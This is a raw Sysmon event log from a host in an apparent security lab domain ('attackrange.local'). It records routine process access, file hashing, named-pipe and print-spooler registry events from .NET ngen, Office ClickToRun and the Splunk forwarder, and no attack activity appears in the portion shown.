14:44:09.127{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-9E08-00000000F001}6184C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.127{7BD73061-6F37-613B-9208-00000000F001}6884NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-walMD5=132B7388E853FC363C3098DFEE6AB922,SHA256=E4C7C7287022152EF66301035F48FBDD71A1938A54EAB1B51182A85154E39570,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.127{7BD73061-6F37-613B-9208-00000000F001}6884NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-shmMD5=062C77368C00BB1233AC0CCA61EA4F0E,SHA256=653D62F2840E199F3073FA007E706C2BC774B6B52DE208533DDA783A28C43034,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.112{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.112{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.112{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E4A11E9F31F2ADAE05A01C2371DD1FD0,SHA256=B4FD1FBEAFB3509B9A49694DE25BFB4E2E72762C8489DC0F1B34BA404A8C25F9,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.049{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.002{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-9D08-00000000F001}3864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.002{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.987{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-9D08-00000000F001}3864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.987{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-9D08-00000000F001}3864C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.898{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\ProgramData\Microsoft\Windows\Caches\{D6F5CCC1-AFCF-46A7-87C0-777617677C5D}.2.ver0x0000000000000001.dbMD5=8D0614C0F1D726B8D9F73BB8D7BEC32B,SHA256=071334E4ACACD1C2FFA4D9898A3557B1ED0A422173F404063CCB61A1A1508D58,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.898{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.883{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.867{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C508-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.852{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-C508-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.852{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-C508-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.852{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000042004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:44:10.852{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{210A80A9-158F-4957-B7F3-2E28F5EE2C58}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyNameOneNote (Desktop) 13241300x800000000000000042003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2021-09-10 14:44:10.852{7BD73061-65AD-613B-0100-00000000F001}4SystemHKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{210A80A9-158F-4957-B7F3-2E28F5EE2C58}\FriendlyNameOneNote (Desktop) 18141800x800000000000000042002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.852{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 13241300x800000000000000042001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-DriverVerSetValue2021-09-10 14:44:10.836{7BD73061-65AD-613B-0100-00000000F001}4SystemHKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion10.0.14393.0 13241300x800000000000000042000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-DriverVerSetValue2021-09-10 14:44:10.836{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\OneNote (Desktop)\DsDriver\driverVersionDWORD (0x00000401) 18141800x800000000000000041999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.836{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.805{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-C408-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.789{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-C408-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.789{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-C408-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000041995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.773{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.773{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.773{7BD73061-65BF-613B-2500-00000000F001}2748NT AUTHORITY\SYSTEMC:\Windows\System32\spoolsv.exeC:\Windows\System32\spool\V4Dirs\E4C5F005-BDBC-4CCB-A516-2CDD8852BBDB\94766af2.gpdMD5=441433895A4C11D90B0139E5471CAEEB,SHA256=E432C8717F296036670B57B72381288D0553CE2B571367C139BF1DCE9D56A7A2,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.727{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb